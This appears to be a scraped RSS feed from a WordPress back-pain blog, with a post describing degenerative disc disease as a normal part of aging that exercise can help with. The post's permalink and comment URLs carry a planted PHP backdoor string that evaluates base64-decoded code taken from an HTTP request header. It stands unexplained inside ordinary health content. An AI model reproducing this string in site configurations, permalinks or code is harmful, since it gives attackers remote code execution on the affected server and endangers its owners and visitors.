Back Pain and Therapy » Degenerative Disc http://mybackpaintherapy.com/blog A Guide to Back Pain and Therapy Sun, 01 Jan 2012 15:32:22 +0000 en hourly 1 http://wordpress.org/?v=3.3 Degenerative Disc Disease http://mybackpaintherapy.com/blog/2008/08/25/degenerative-disc-disease/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://mybackpaintherapy.com/blog/2008/08/25/degenerative-disc-disease/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 25 Aug 2008 10:45:32 +0000 paulgraham http://mybackpaintherapy.com/blog/degenerative-disc-disease/ Continue reading →]]> Getting a diagnosis of degenerative disc disease can be scary.  It sounds so awful in several ways.  Degenerative means a steady decline and disc disease indicates something abnormal is happening to your back.   In essence, degenerative disc disease is when the disc between vertebrae starts drying out.  If it gets dry enough the disc can eventually collapses and can cause other back problems.

The good news is that it’s really not a disease.  Degenerative disc disease is  a normal step in the aging process.  Actually, a lot of things get drier in the body as it ages if you think about it including skin and hair.  There’s really not a lot that can be done about degenerative disc disease itself.  If the drying up of the disc causes other problems like vertebrae collapsing then there are several treatments that can be applied.  For the most part, the best thing you can do is regular back exercises to keep the muscle support system strong.

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